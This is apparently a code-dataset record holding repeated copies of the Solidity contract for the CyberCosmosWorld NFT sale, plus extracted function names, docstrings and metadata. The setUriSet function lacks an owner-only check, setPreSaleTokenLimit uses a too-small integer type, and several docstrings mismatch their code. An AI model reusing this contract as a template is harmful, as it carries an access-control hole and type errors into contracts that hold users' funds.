event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
setPreSaleTokenLimit
function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; }
/* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 12591, 12731 ] }
14,184
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
setPublicSaleLimitPerTxn
function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; }
/* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 12915, 13070 ] }
14,185
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function 